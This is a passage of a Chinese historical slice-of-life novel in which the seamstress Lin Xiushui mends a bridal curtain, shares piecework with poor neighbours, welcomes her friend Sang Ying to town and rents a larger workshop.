不能拆意味着,她得半蹲、站着、走到左边,走到右边拆补,而且得要一个人帮她扯着 布两边,扯到平直不能动,压下轿子到桌子边会翘起来,会抖,更不利于抽纱。 拉布帘的活,林秀水只信得过王月兰。 王月兰说自己手抖,布都不会抖,当然要真抖,她肯定会喊的。 布帘被扯直悬空,众人围观,替林秀水捏一把汗,帐设司的人紧张又茫然,站那来回走,不知道能帮上什么忙。 林秀水扎好袖口,绷紧破洞处。左手拿镊子,右手用长针挑出一半的线,她不会全剪掉,只抽破洞处的绣线,她称之为断纱。 真是来来回回地抽,镊子一根根抽出来,林秀水抽纱的水平,在日夜苦练中,已经越发精进。 而她加纱的本事,在抽纱绣中,需要不同颜色的绣线来回绣上,加上,她要想很多的绣样,是以沿着破洞处,想出大致的绣样,慢慢取出手边的绣线,先用最下边拆出来的红纱补底,再用绣线上纹样。 补完后,林秀水和王月兰都累了,小坐一会儿,所幸眼下天黑晚些,折腾大半个时辰,仍有日光。 只是轿子慢慢往光亮的移,林秀水走到哪,人群也跟着走到哪里,从在大道上,变成挨在桑树边,踩在溪岸口的土墙上,看不见还踩在木墩上,椅子上,还有人本来拿梯子路过,结果也来看热闹,踩在梯子上往里瞧。 哪怕一星半点没瞧到,大家也瞧得津津有味,就图个人多热闹,只是手里应该端碗饭的才是,水淹饭即使没菜,就着热闹也能吃两碗。 林秀水补得手酸,一瞧边上有人吃上了饭,还很热心问她,“来口吗?垫垫肚子先,补得怪累的。” 她摆摆手,别管她的死活了。 随着日头渐渐落下,家家升起炊烟,那帘子上破洞从红色纱底,慢慢缠绕上不同颜色的绣线,线从纱孔里冒出来,好似补得毫无章法,但随着慢慢推移,那平白生出来的小朵牡丹,和边上盛开的牡丹纹样融为一体,再也瞧不出破洞来。 里头再钉上一层纱,那背后补过的痕迹也被遮掩住。 此时近黄昏,林秀水剪下最后一根线头,收针绕线,眼睛往远处眺望,拆下缠在手上的布条说:“瞧瞧吧。” 瞧什么?帐设司的人茫然,补得在哪都不大看得出来,其他人放下碗筷,拍手叫好,蹲梯子上的慢慢走下来,两股颤颤,腿比林秀水的手还要抖,但悬着的心总算是落到地下了。 张小四绕着围布瞧,差点没坐到地上去,救了他大命了。 他为表感谢,在桑树口放起炮仗和烟火,噗嗤噗嗤地响,结果差点被灭完火来的张木生给浇熄。 张木生被拦下,才松口气,他打个哈欠说:“我还以为谁纵火呢,天干物燥,小心火烛。” 主要他不想救火救到自己认识的人头上来。 这一场关于帐设司的热闹,并不是从林秀水补完花轿后,被欢呼簇拥叫好,她收了谢银结束的,而是从她补好花轿后开始的。 帐设司需要的陈设摆件有许许多多,仰尘、桌帷、绣额、屏风、书画、画帐、席棚等等,如果相对不富裕的人家,他们是用旧的,再按场地新布置。 而有些富贵人家提前两个月定席,则要去专门量尺寸桌椅尺寸,再分派给相熟的裁缝重新缝制,富贵人家给的银钱足以覆盖全部新做的钱数,因为这种新做的陈设,基本不会撤下来。 他们帐设司在临安府认识的裁缝多,桑青镇的少,但在镇里接的活却不少。 张小四将制作桌帷的活,给林秀水做,他说:“我们在桑青镇的裁缝认识得不多,小娘子手艺好,我们也想好好结交,后面保不准还有些活,需要小娘子帮忙的。” “而且做桌帷可以慢些来,十几日能出五六条桌帷就成,钱只多不少。” 林秀水关心道:“不少是多少?” 张小四说:“做完手里的桌帷,五六贯总是有的。” 桌帷好做,其实就是桌布,不管方的或是长的,只要有尺寸,画线裁了缝合好,一般挑不出毛病,林秀水好做钱好赚。 但她最感兴趣的是,帐设司里有些非常微小,可仍需要的装饰,那就是桌帷下需要悬挂的流苏穗子,绣帐上的帐钩带子,窗子上的剪纸窗花等等,小但是有赚头。 后面她给帐设司补了些东西,帮了他们解决不少麻烦,那边也很愿意将活分给她来做。 这活不是给林秀水自己揽的,她已经不用做这样的小活来赚钱了。 在桑树口这条巷子里,来自官家下令的胎养助产令,有些人家是领免役宽剩钱的,生了孩子养不起的,可以领四千文钱,折合是四贯。 那民妇如果生产,家贫而无力,桑青镇有专门的举子仓,可以给米一石。 但是说得很好听,很有意思的是,想到举子仓里支粮,首先得到附籍官那里去注籍,这不算完,还需要批文,以及让人难以启齿的四邻担保文状,才能去领米。 而从这几步上,有不少人家什么也领不到,薅子多,薅子便是杀子,临安府东南一带赋税最重,此举严重。 她住的巷子里就有这样的人家,过得连糊口都做不到,倒不是懒,而是屋漏偏遭连夜雨,行船又遇打头风。 林秀水遇到过,而且小花的娘李稳婆也曾跟她说过,有些贫家女人要生产时,官衙会派她们稳婆去接生,因为穷得连生孩子的钱也没有。 而林秀水认识一户人家,主要认识这家的娘子,带着个刚三月的孩子,背着出来在街道司做扫街盘垃圾的活。 她看这周娘子好些日子了,每次她出摊不久后,周娘子会背着她的小孩出门,小心从街头扫到巷尾,扫得很干净,虽然人很瘦,孩子总哭,却时常笑着。 大家说她就是男人前头没了,领不到举子仓粮食的。 这日清早,林秀水趁着没人,叫住她,“周娘子,你来一下,我有事寻你帮忙。” 周娘子连忙过来,一只手往后拖着孩子,忙笑着问:“小娘子寻我有什么事?我哪里没有扫干净?我再扫一扫。” “不是扫地的事情,”林秀水摇摇头,“我听说娘子不管是剪纸,还是编绳结都不错,我有个活忙不过来,想请娘子帮帮忙。” “剪纸按上头的纹样来,大概是五文一张,编绳结是酢浆草结,三文一个,打穗子也差不多的价。” 周娘子的笑容突地消失,转而惊疑不定,“我吗?给我做?” 她双手在衣裳两侧擦了擦,见背上孩子要哭,又下意识弯腰抖抖,才转过头说:“能做,我能做。” “我什么都能做。” 林秀水神色温和道:“钱一日一给,周娘子做好找我来支取就行。” “一日一给?” 周娘子极为不确定的,用小心而低声的口吻,将这个词拿出来,再次确认。 林秀水给予她肯定的回复。 周娘子拿着东西,背上孩子,茫茫然走在回家的路上,就算一日只赚三四十文,也够买升米,供她和孩子吃喝的。 她放了东西,仍旧慢慢扫着地,又不敢太过于欢喜,夜里编绳、剪花,哄孩子,不敢睡过去,又怕梦过后是场噩梦。 但当她领到钱时,自己熬夜赚的四十文时,也没有哭,没有极为卑微地感谢,她只是笑,攥紧手里的钱,紧紧攥着。 而后才说:“以后小娘子上我家吃饭。” 她眼下连饭都吃不饱,可就是想,以后能吃上饱饭。 林秀水倒也不单单帮周娘子,帐设司的活好做,只要手巧些,很多娘子都能做,她叫李稳婆帮忙,寻人问问,要做活的找她。 钱虽然不多,肯定能混口饭吃,只要吃饱饭,这日子还能过下去。 当然帐设司带来的其他东西,林秀水是没法预料的。 比如桑树口的缝补摊子逐渐变多。 大伙爱瞧热闹,也爱宣扬,帐设司到桑树口来寻缝补的事情,在大家嘴里嚼了又嚼,传了又传。 先吹林秀水手艺神乎其神,再传这条巷子 缝补生意好,能赚不少银钱。 原本稀稀落落几个摊子的,先来了个补铁锅的,挑着一副担子,说借光占点地方,他走街串巷没什么生意,想在这补补。 也有听了帐设司名号来的,是个算卦的,半点不瞎,举着一副破旧的幌子,卖些膏贴,他也说自己是缝补好手。 有人就问:“补什么的?” 算卦的便回:“补八字,补名字。” “命里缺什么补什么。” “屁,我才不信,你们都是一群坑害别人银钱的,”那人前头刚被相士坑过。 算卦平静道:“你补点礼,缺德得厉害。” 在这闹了一场,才算完事,而后又有补灯笼的,接旧条、条破扇、修飞禽笼、粘顶胶纸、接梳子的,等专工一业的缝补匠,也渐渐将位置挪到桑树口边上来。 其他地方赚得不多,人又少,大伙都在街头巷尾里做活,钱不多,活少,每日数钱数得心疼,心疼太少。 条破扇的娘子终于接到了合适的活,来自裁缝作庄管事的团扇活计,几十把扇子足以让她不知道东南西北,被扇子扇的。 修飞禽笼的算是来对了地方,林秀水自从斗鸡、鹦鹉开始,那帮习闲为生,斗百灵、鹌鹑、擎鹰的等等,啥也不多,就是笼子换着花样的多。有些还叫她给做个漂亮笼子,给他的大吓人老鹰住,她给钱就做,眼下换了专门的人来。 桑树口就这样热热闹闹,到了四月底,林秀水才见到桑英。 她们已经将近三个月没见了。 桑英长高了,人晒得黑,衬得眼睛圆碌碌的,很灵动,头发即使挽了发髻,也毛茸茸的,她碎发很多,总是梳不好,像是头小羊羔。 她见面啥也没寒暄,而是惊喜地说:“阿俏,你真的胖了,脸圆了!” 得,林秀水欢喜的神色凝固,刚张开手,真想拍一下她,兄妹俩一个德行。 转而桑英奔过来,在桥头处,林秀水张开双手,两人像小时候那样,抱在一起。 桑英仰起头真挚地说:“还总怕你在这吃不好,睡不好,没有人陪,我好怕你一个人。” “那你怎么这么晚才来?”林秀水摸摸她脑袋,“我给你寻了好用的发油,保管你头发光溜溜的。” “我倒是想早点来,家里的田没人种啊,”桑英撸一把自己的头发,“我种的每日都想,我是人,我是人,我不是生在田里的田鸡。” “但我每日叫得跟田鸡一样,嗷嗷啊嗷哇哇哇。” “田鸡夜里叫得慌,我不分黑夜白日都想嚎一嗓子,说什么娘好囡好,秧好稻好,我娘好可是我不好啊,桑怎么能在水田里待着。” 桑英学叫声一流,简直学得惟妙惟肖,林秀水笑得慌,她真是佩服桑英这嘴皮子。 其实桑英就是来时想了许多遍,逗林秀水高兴呢,不然刚见面哭哭啼啼的,她觉得有些丢脸,即使她哭了好些次。 林秀水拉她往前走,要叫桑英吃好东西去,又好奇地问:“那伯母真同意你来?没骂你哥?” 桑英难以形容那时的混乱,只好随口道:“害,天塌了,反正有我哥顶着,长脚鹭鸶总要承受多点嘛。” 反正不论如何,桑英确实从上林塘里,从田里出来,走到桑青镇里,走向更广阔的天地里。 第49章 第 49 章 拥有更多,走得更远 在小院里, 桑英看见窝在地上的猫小叶,软趴趴地瘫在小荷腿边,咦了声, “大胖猫。” 看向小荷就掏兜,掏出一大把枣干,上林塘有山里枣, 双手捧了把递过去,“小荷叶,给你吃。” 小荷用手兜不住,赶紧拉衣裳去装, 眼睛看枣干,嘴上说:“桑英姐姐,你真好, 枣真好。” 桑英见到王月兰,则先见礼,要让自己看起来稳重,拿了一篮子东西,说代她爹娘问好,但她蓬出来的头发,滴溜溜的眼睛, 活泼泼的神情, 王月兰说她还是个孩子。 王月兰叫桑英坐下来, 泡了茶给她喝, 又问她,“到米行里去做活?在哪家的米行里?什么时候去。” 米行并不是只有一家,而是有许多家,桑青镇种桑养蚕多, 本不产米,全仰赖于苏、湖、常、秀,还有淮南等地的,米市桥有五六家米行,几十间米铺。 桑英接了林秀水递来的鲜果,回道:“过两天,是早米行,我也只认得来早占城,我哥说那里活计轻松,眼下新的早米要到立秋时收,卖的是去年的,我只要会认粮、打升斗就行。” “说是一个月刚进去有八百文呢,比我上月在上林塘里种田,又剥笋、晒笋干、薅桑叶要挣得多。” 桑英很知足,她什么本事也没有,从小不喜欢学东西,打小最喜欢在野地里跑,抓鱼抓虾抓螃蟹,叫陈九川煮,跟林秀水两人吃现成的。 所以进到米行里,连林秀水也说好,上林塘种的是早占城,属于早米,是早籼稻,六十日成熟,而其他早米在立秋前后成熟,晚米则是处暑前后。 王月兰想想那地方,离桑桥渡不近,倒是跟林秀水上工的裁缝作,相差不远,当即便道:“那起早叫阿俏摇船送你去。” “可太好了,我还能和阿俏换着摇。” 后面桑英到林秀水楼上睡的屋子里,她满屋子看一遍,踩得地板嘎吱响,才说:“我坐表哥的船来的,我哥还在上林塘呢,来前我哥被我娘追着打。” “咦,不大信,”林秀水唔了声,撑开窗子,靠在窗子前朝桑英看去,陈九川真会挨打?鬼信。 “真的,”桑英叉腰,“他跟我娘吵了一架,说我混田里没出息的,让我娘别一天到晚想相看嫁人的,不如到镇里来,先多攒点钱。又给田里请了好几个帮工,花了他不少钱,我娘说要打死这个不孝子,他说他根本没有笑,我娘不更来火了。” 她跟林秀水实话实说,她娘想她又没大本事,在上林塘里待着,不如先定亲,过两年嫁人生孩子,但她压根不喜欢什么有桑林的张郎君,有不少田产的李郎君。 上林塘有十四岁便早早成婚的,十五成坟,连同她和她没出世的孩子,新坟旧坟,年年有,桑英也怕成为坟里的人。 她什么都懂,羡慕别人当厨娘,能混到各种行当里,挣钱有门手艺,她又时常想自己没本事,什么也学不大会,只好什么都不说,憋在心里,慢慢沤成泥。 她欢喜能到米行里去,可是欢喜后,又担忧自己做不好,她做不好太多事了。 “怎么会,我可想你来了,”林秀水转头看她,完完全全肯定她,“我这会儿很忙,我一忙起来,我就会想,要是桑英在旁边,她会帮我剪布、绕线,剪的布好,绕的线好。” “你说的,小荷都会做,”桑英如此说,嘴巴却小小翘起来,从前她也会给阿俏打下手呢。 林秀水拉着她的手,上下晃晃,“可我就想你帮呀,你做得好。” 晚上两个人一块挤一张床,谈天说地,怀念在上林塘时到处玩闹,林秀水去给别人做裁缝活,要是等到傍晚,桑英忙完了,会走过许多田垄去接她,带上炒盐豆或是点蜜饯,分给她吃。闲暇时,跟她一块去,帮她打下手,拉布穿线剪布,两个人也曾做活,却熬到夜深,相互挨着走在一起漆黑的小道里,用棍子敲打小道。 桑英睡梦中嘟囔了句,“我还以为你有人帮忙了呢,不要我了。” 林秀水翻了个身,回她,“怎么会。” 没去早米行上工的两日,桑英跟林秀水 一块住,一块吃,王月兰给她们几个炖肉吃。 她早晚给林秀水打下手,她其实手脚很勤快,只是总觉得种田粗手粗脚的,给林秀水帮倒忙。 但是压根没有,林秀水织补要用到绣绷,她会找出来递过去,看她补时,用旧布头擦剪子,试试好不好剪,把桌上用过的线,挨个小心绕回去,理理布头,再或是把针插回去。 来往好些人都说:“咦,阿俏你招了个好帮手啊。” “那可是,不过可不是招的,”林秀水放下补好的东西,抬起头笑道,“这是我阿妹,陈桑英,叫她桑英就行。” 桑英对林秀水很放得开,对其他人说笑,都只会笑笑不说话,显得有点腼腆,她刚来镇上,不大知道说什么话合适。 但她又会想,说不准阿俏刚来也是这样,她得壮壮胆子,说上两句话,不过通常是点头和笑,保准不会出错和丢脸。 还要给林秀水摇船,送她去裁缝作,林秀水也想叫她大大胆子和熟悉河道,便让她送。 眼下河道里丝船和桑船照旧来往不断,采桑叶要在芒种前后采完,这是头桑,夏至边上那是二桑,不能多采,只采些喂夏蚕。 采桑得天气晴明,雨天雾天,都不采桑叶,实在碰到要采的,采的桑叶夹在布袋里,干了后再给蚕户。 今年桑青镇的蚕丝出得不错,虽没有到蚕花廿而除了缴纳蚕桑两税的,眼下丝行里忙得脚不沾地,丝行的船到处去收新茧、废茧,织户上工缫丝,修织布机的老工匠扛着各种东西,走街串巷,上门修织布机。 河道口两岸的人家,起早就在煮蚕茧、剥丝绵兜,晒一张张雪白的网,有娘子在木栏杆上探出脑袋来,“阿俏呢?这船不划了?” “这儿呢,”林秀水从小窗子把脑袋伸出去,又晃晃手,“我妹妹桑英送我来,她摇船比我好,那可是一把好手呢。” “那说实在的,也不怕你恼,嘿,桑英确实摇得比你好,多稳当啊,”二楼窗边的小娘子哈哈笑道,“我还记得上回你摇船,撞人家卖油船尾上,本来人家恼得很,要人赔补漆钱的,一看是你,说算了算了,多给他补几个纱袋。” 林秀水觉得有些小小的丢脸,又将脑袋缩回去,屁股挪挪,挪到窗子边上去,这种丢人的事就不用肆宣扬了吧。 桑英忽而大笑,林秀水在船舱里,拍拍船板说:“别笑了,再笑我都得被摇出船外了。” 桑英在前头摇晃着船,看着满目错落的房屋,小声说:“可我忽然觉得,这里跟我想得不一样。” 本来桑英想,桑青镇靠近临安内城,这里应当很难混,她娘叮嘱再三,还是不愿她过来,说镇里的人势力起来,那比山里的老虎还吓人。 当然事实并非如此。 比如隔日一早时,不少人家还在沉睡里。 王月兰早早去丝行,林秀水和桑英一起将摊支出去,其他缝补摊子的人陆陆续续过来,一个个相互问吃了没? 此时,风一样飞蹿过来一男子,眼瞅着跑过头了,又急急用脚刹住,摇摇晃晃张开手,努力停稳。 他长长缓口气,朝林秀水作揖,指指自己头上有他半个脑袋高的纱帽巾,“小娘子,完了,你快瞧,我这帽子不保啊!” “帽子不保是小事,可我今日要去相看人家,媒婆说保准我十拿九稳,可我起早就绊着脑袋,这帽子挂在车架上,划了条大口子,这肯定告诉我,朝不保夕啊,夕啊,那就是没戏了。” 林秀水打断他,“就帽子的事,怎么扯到朝不保夕,又能扯到没戏上了?” “你不知,”高帽男满脸痛心疾首地说,“这帽也通冠,冠戴不牢,那怎么能做新郎官?今日不成,还以明日,明日复明日,早晚有一日。” “不过,还是劳烦小娘子帮我补补,我赶紧去买顶帽子,这冠上加冠,保不准还有戏,我要不再去换身衣裳?就是那个签筹筒能不能给我一下,我抽抽。” “抽红的,是我有戏,对方看我顺眼,抽中蓝的,那就是换身蓝袍子,今日对方能瞧中我。” 林秀水就说了一句话,合着压根好赖都被他自个儿说了,坏的都能圆成好的,压根用不着别人宽慰。 她无可奈何说了句,“那这帽补不补?” “当然补,千里姻缘一线牵,就指望你手里的线了。” 林秀水回他说:“你想去找月老,月老庙得往东走。” 她是缝补匠,拉绳牵线是月老的活,她缝线只会东拉西扯,怪不得他十次相看九不中,最后也没中,他说这怎么不算十拿九稳呢。 林秀水反正早已习惯,倒是桑英看得目瞪口呆,悄悄问林秀水,“这镇里的人,怎么瞧起来怪有意思的?我娘说他们可吓人了,说得跟每个人长了三只眼,六条腿一样,张口就能吃掉一个人似的。” “是啊,等会儿就来吃你了,”林秀水朝她挤眉弄眼。 “吃谁?说到吃啊,我做了豆腐花你们两个吃不吃?”卖豆腐的娘子拿着两个布袋过来问,“阿俏,你等会儿去舀啊,先给我这两个袋子补补,气死人了,包着包着全散了,豆腐变成豆腐花。” 她女儿走过来说:“说了早点来补,不过正好,我娘发觉她做豆腐不如做豆腐花卖得好,朝袋子撒气呢。” 豆腐娘子抬起细长的眉毛,皱眉道:“你少给我胡咧咧,谁朝袋子撒气。我就是没这袋子,我连豆腐花都做不好,阿俏,快给我补补,我还得用个三五年,你们俩等等来吃啊,给小荷也带一碗。” 林秀水取出线来,接过袋子准备给补上,笑眯眯道:“那正好,补袋子换豆花,我拿个大碗去。” 她朝桑英说:“吓人不?豆腐都被打成豆花了!” “吓人,真吓人,我以后回去跟我娘说去,”桑英捧着碗,连连点头,“她肯定要说,吓死个人了。” 不过两日待在这,桑英早晚摇船接林秀水,其他时候带小荷玩,给小荷烧饭,倒是对镇里没有那种生怯感了。 陈九川是深夜里回来的,划了船,起早送两人上工,先送林秀水到裁缝作里,再送桑英去米行上工,陪她半日。 米行刚进去会有师傅带着,教认米,各种早米是哪里来的,再领个刮板,每升米要刮得平平整整的,一个米袋装一升的米,不能多也不能少,刚开始就只有这么个要求,反正不难。 桑英干了一日说她会,终于将心放下一半来,另一半得等她领到月钱。 林秀水就没有太关心,越多的关心反而越叫人害怕,总得自己往前走几步。 她只是肯定桑英,“那当然了,世上无难事,越想越害怕,我们种田都能种,打米还能不会打,这就叫没吃过米,还没见过米吗。” 桑英说:“我能到这里来,我肯定会好好干的。” 而之后,两人正常上工,起早桑英摇船,先送林秀水,晚些林秀水摇船,两人渐次交替摇船。 在裁缝作中午吃饭时,小春娥也跟她说:“早米行不错,打米也好呢,而且早晚闲,你也有算有个帮手了。” “各有各的难,打米要认米,你烧香炭要认炭,”林秀水谁也不忽略,“又各有各的好,上手了哪哪都快。” “上次我不是说,近来认识个帐设司的人,我问了问油烛局好不好进,”林秀水抬起头跟小春娥说,她跟帐设司领桌帷,近来几日走得比较勤,四司六局那是相挨着的,她总得问几句。 林秀水说:“好进是好进,他们这种是民间有头脸的人办的,进去打打杂那都是容易的,只是进到官府里的要难些。” 她从包里掏出来一张纸,朝小春娥晃了晃,“我给你问来了,他们要烧什么炭,我觉得你肯定会用到的。” 上次张小四找她修灯罩,一个很花的绢布大灯罩,说是油烛局里的,烧了个小小的破洞,叫她给补补,她给织补完特意问了句。 张小四也不知道,说给她问问,油烛局在四司六局里还挺偏门的,有门路都进帐设司和厨司,谁也不会想着进油烛局里,很辛苦很累。 要烧蜡烛、换蜡烛、烛台、灯笼,各种木炭,桑、槐、桐木等,又或者是不大好的,柏、桂、桧,还有杂七杂八的香炭等等,林秀水给记在纸上。 小春娥惊呆了,连饭都挂在嘴边,忙接过来认认真真瞧了瞧,她会照烧的,而后哭丧着脸说:“我不识字啊。” “我教你啊。” 小春娥抹抹粘在嘴边的饭,又感动又好奇,“你这几日不都 在忙?怎么还能抽出空来。” “顺嘴的事,我就不能两头都关心下,”林秀水拍拍自己的胸口,“我就跟个兜一样,啥事都装得下。” “那我叫我娘给送头猪。” 林秀水惊喜,“那赶紧的。” 上头说给她送头猪的,还是陈桂花夸口时说下的呢。 两人吃了饭,叽叽喳喳说一通,说完回到领抹处,大家齐刷刷朝她看来。 林秀水后背毛毛的,“咋的了?” “我今日不是刚交付一批领抹。” “还能是什么?做太好了,”杜娘子同情地看她一眼,“刚送来件衣裳,不做领抹,点名叫你在衣服上直接做抽纱绣呢,连绣样都送来了。” 小环赶紧说:“钱肯定大大得有。” “没钱谁做,我说这些人一日日闲得慌,上回说什么,叫我加织金银线,能不能给下半身都给加上,我就问她,我说我能给她全身都给用金银线织上,她能不能给我点金银,这才没话说,”织金银线的娘子火大得很。 有人赶紧捂她嘴,其他人又故意闹出点动静,顾娘子从外头进来,倒也没听见,只说:“阿俏,你出来下。” 林秀水正手握着张纸,低头看那绣样呢,非但不气,反倒觉得挺有意思,谁在衣裳上抽纱,抽铜钱纹的啊,是四个圆形铜钱交错在一起,中间形成个新的铜钱。 她嘴角微翘,听见顾娘子喊她,才卷好纸塞在蓝布围兜里,朝大家挥挥手,才迈过门槛出去。 没过多久又回来了,顾娘子只说,这是质库里的金娘子要求的,她这个人死认钱,恨不得今日带铜钱纹的领抹,明日要织金戴银的,她就是金银铜要三手抓。 但又不好穿铜钱纹,大面印金泥的招摇,只好在领抹上下功夫,遮掩遮掩。 林秀水想她跟掩耳盗铃,有什么区别,区别就是她遮眼纹铜钱吗? 顾娘子说:“有些难的,我知晓,她那边说能给两贯。” 林秀水只想说,不用多说,我抽。 别人抽丝剥茧,她抽纱挣钱。 这种铜钱纹的,直接在纱质衣裳上抽,林秀水也是头次做,要抽横线不抽竖线,在上头数格子,按纹样在上头绕线,但其实抽纱绣就是绣方容易,绣圆折腾。 本来方的孔眼,硬是要给一针针掰成圆的,那不是强布所难吗? 她就喜欢干些这种事情,难不难,钱说了算。 这条用暗黄色绣线,在衣服上拆了线,绣铜钱纹的,林秀水用了六七日,硬是给绣出来,镂空的花纹正是铜钱的纹样。 当金娘子看见时,她大感惊喜,又大为失望,“亏了,亏了,早知道抽纱能抽出来,我就说我要抽金元宝了。” 还抽金元宝呢,别人是生抽,她都快成老抽了。 当然做老抽有老抽的好,老抽布和纱,赚的钱多。 五月初,四月的月钱连同抽纱绣赚的钱,一块到她的手里。 领抹处月钱两贯五,抽铜钱两贯,抽其他的领抹还有分成,总共是三贯二钱,加上两匹绢,一匹纱,一堆布头。 这个月林秀水领到了七贯多钱,七贯给的碎银子,七百文是铜钱,她有种吃了假酒晕乎乎的感觉,不大真切,加上她自己赚的钱,已经有十来贯了,好多好多好多。 好多钱,她该怎么花? 她想找房牙子来,租个房廊,最好有个大点的院子,有间大些的屋子,眼下她的裁缝屋子很逼仄,扯布都得挨到墙角处,改件衣裳都得小心翼翼。 她握着钱,如同握着明天,从前她来到桑青镇除了姨母跟小荷,一无所有,愁于生计、奔波。 而眼下照旧前路漫漫,可不会再回到从前里,翻过许多山,绕过许多弯,走在新的路上。 第50章 第 50 章 来自大家的缝补廊棚 林秀水原先做活的裁缝屋子, 在她放置许许多多东西后,变得挤挤挨挨的。 通常她接改衣裳的活时,从进门开始, 则不能太慌张,左手边是挂在横木架子上的布,一块块红、绿、蓝方形绢布搭在木架, 要做帐设司的桌帷,右手边则是挂起来待改的衣裳,长长短短都有,要改的太多, 凑得太近,布料相互黏在一块。 两边中间是一条长桌,竖着放的, 快挨到窗户,才能在扯布时,拉到足够的长度,而且两边木墙上全放置了东西,左手边柜子里的布头,右手边的各种工具:剪子、尺、铜熨斗等等。 所以林秀水抱一匹布进去时,要不像抱两三岁的小孩, 竖着抱在怀里, 一只手拖着, 要不就得夹在腋下, 以另一种横竖的方式,才能放到桌上。 她在里头做活的时候,猫小叶禁止入内,内敛时候, 蹑手蹑脚的小荷可以进,过于奔放、上蹿下跳的小荷不能进。 连王月兰都打怵她这个屋子,通常都在屋外头喊她,说她这个屋子是搭在空架子上的瓦片,铺得紧紧实实,除了她这个“瓦工”,谁也不清楚动了哪块地方,瓦会轰隆隆掉下,碎掉。 所以王月兰对林秀水租间房廊的反应,她先是说:“得找个好点的房牙子,我之前那个,真是气他气得牙痒痒。” 她真气,刀剁得砧板铛铛响,来来回回给两贯银钱,叫去质库抵押东西,六十来贯买了间矮破屋子。 那时真穷啊,她手里没银钱,连续跌坑,曾一度带着小荷,连饭也吃不上。 她眼下最庆幸,林秀水能靠自个儿本事攒下钱来,手里有钱,就有更好的可挑可选,而不是这也租不起,那也租不起。 当然后来她在房上吃了那么多教训,对各家买房租房的事相当上心,若租/买得称心,要问清是在哪个房牙子手里租/买的。 是以她知晓,桑桥渡边上有个叫作张牙郎的,在房牙子里口碑好,屋源广,不论刮风下雨,都会早早到南瓦子里的永家茶肆里喝杯煎点汤茶药。 五更天,报晓的僧人从她们俩旁边路过,王月兰换了身新衣裳,拉林秀水去找张牙郎,一路上面色紧绷,脊背挺直。 林秀水刚想说话,她立即道:“别说,我憋着股劲,我一跟你说话,跟屁一样放走了怎么办。” “我不说。” 林秀水老实闭嘴,她只是想说,姨母你绷着脸,跟像要去杀人一样。 牙人在茶肆里很好找,不论男女,通常会挂一个木牌,上面写着姓名、籍贯、从事哪种行当,人牙子、房牙子还是其他种种。 张牙郎是个矮胖的男子,认识林秀水,在桑桥渡边上混的房牙,大多认识她。见两人找他,喝尽碗底的茶,从随着带的兜里,掏出张自制的地经(地图)。 上头从南瓦子、南货坊起,分布河道、巷道、桥道种种,详细到边上的邸店(客栈)、塌房(仓库)、酒库、药铺等等,各条道都摸得门儿清,买卖房舍两边做的是什么生意。 王月兰说屋子要宽些,林秀水则说:“我是做裁缝的,这租的房廊一是要宽,带大院子,不能临河,但要有个水井,梅雨天快到了,临河布会受潮,屋子要大,横向最好有一丈宽。” “二是要近,最好就从桑树口走个几十步的路,不能来回往返走很远。” 诉求清楚,张牙郎几乎瞬间冒出几个房源,笑着跟两人说:“那便是在南货坊边上,从桑树口桥边过去,大概都要走百来步。” “我这里有三间房廊,”他用手在地经上的南货坊边上圈了圈,“前后临河,中有院子,而且都是有井的,宽也很宽。” “这间做过染色的活,从前做染红牙梳的,摊子铺得很大,是以院子大,井大,屋子倒不算特别宽。” “边上这间,到我手上时,做的肥皂团生意,就是洗猪胰子,味有点大,不过早早清扫过了,只是要跟小娘子你说清楚。” “最后一间,打前头做的是赁茶酒器营生,门厅短,后院大,屋子也大,有点好的是,它在拐角处,清净些,而且拐过一个路口,便是徐家绒线铺,后 院出门去,有卖象生花多朵的面花行,也有做丝绵纸为生的。” 张牙郎要先交代清楚,有几间合适的,王月兰则要问:“月赁一间是多少?” 张牙郎回:“那都是好地段,租下得三贯一个月,最后一间,得三贯五钱,我敢说,要是在我手里寻不着好的,在旁人那里,更寻不着。” 好不好,得看了才知道,林秀水不是奔着做裁缝铺去的,哪怕不热闹,只要大点,方便她走路来回。 前两间各有各的不好,大归大,夹在两间铺子里头,压根没有窗户,光照不好。 最后一间,在她从桑树口走来,过了桥的打头一间,前头有两棵老桑树挡着,而且同最旁边的铺面,中间是搭了过街瓦棚的,也叫寮蓬儿,后面是高墙竖起来的夹弄,就不甚宽敞,挑担、赶驴车的、货郎,只要手里拿了大件的,都不乐意往这条小夹弄里钻。 而南货坊又多卖桌椅板凳、缸儿炉灶的,这打头一家的,做生意是不好做的,但做些裁缝活计的话,院落宽敞,屋子里有一扇排窗, 照起来亮堂,能放下一横一竖两张大宽桌,改衣裳不用来回移位置。 院子大,洗衣裳和浆布料终于能晾出来,而不是晒点衣裳,就挤占了全部院子,或是扇在屋檐上,要防止被河风吹走。 但三贯五一个月,确实贵,林秀水和王月兰两个人,也看过其他家,便宜倒是便宜,可能挑出诸多毛病,也夜里说过很多次,打听过其他地方。 最后以三贯三的价钱,同张牙郎定下这间屋子。 张牙郎愿意舍点钱,跟林秀水过契的时候说:“我想以后应当还要同小娘子做房屋买卖,就当多个交情,下回记得还找我张牙郎。” 做牙人的,看人很准,谁说眼下租房的,以后买不起房,他认为能跟林秀水做很多次生意。 林秀水收好屋契,客气两句,有点心疼三贯三,想不出什么时候,她能花几十到上百贯去买间铺面和屋子。 王月兰则不再绷着脸,笑得跟朵花一般,“托你吉言。” 她主要还是高兴省下两百文钱,但也没真省,从她兜里花出去了,给林秀水置办了桌,请了大家来吃饭,林秀水听了许许多多的夸奖,最猛烈的来自于桑英。 只是租间屋子,但置办这种大件时,也是真叫人高兴,林秀水踩在院子的地砖上,那股欢喜劲在她心里钻来钻去。 同她刚开始有裁缝屋子时那样,夜里睡不着觉,在屋子里走来走去,拉椅子坐下来琢磨买什么东西布置。又打开窗户,看看对岸的屋子,想想桑英应当睡了,而这一片的人家熄灯睡下,河道口静悄悄的,船也歇了,水也歇了,连人家挂在屋檐下的灯笼,也打起了盹,一晃一晃的。 她站在窗边瞧夜色,遗憾没人跟她同赏,今晚的月色很明亮,昏黄。 但忽然有船行来,竹竿轻轻地敲她的窗边,她的手扒在窗上,头慢慢探出去,陈九川站在船边,打了个灯笼,朝她招招手。 林秀水移过蜡烛,小心翼翼走下狭窄的楼梯,走到楼下来,不惊动猫小叶,走到楼下的裁缝屋子里,关上门,打开窗子。 “你怎么不睡,我刚要睡了,”林秀水举着蜡烛,站在窗子边,她高兴但胡说八道。 陈九川将船划到边上来,轻轻地靠在窗边,高高的影子投打在墙上。 他说话也轻,“高兴得睡不着?” 夜里他从南岸运桑回来,本想睡了,瞟到她屋子还亮着灯,站黑黢黢的灶房那看了会儿,这一片只有她的屋子明晃晃。 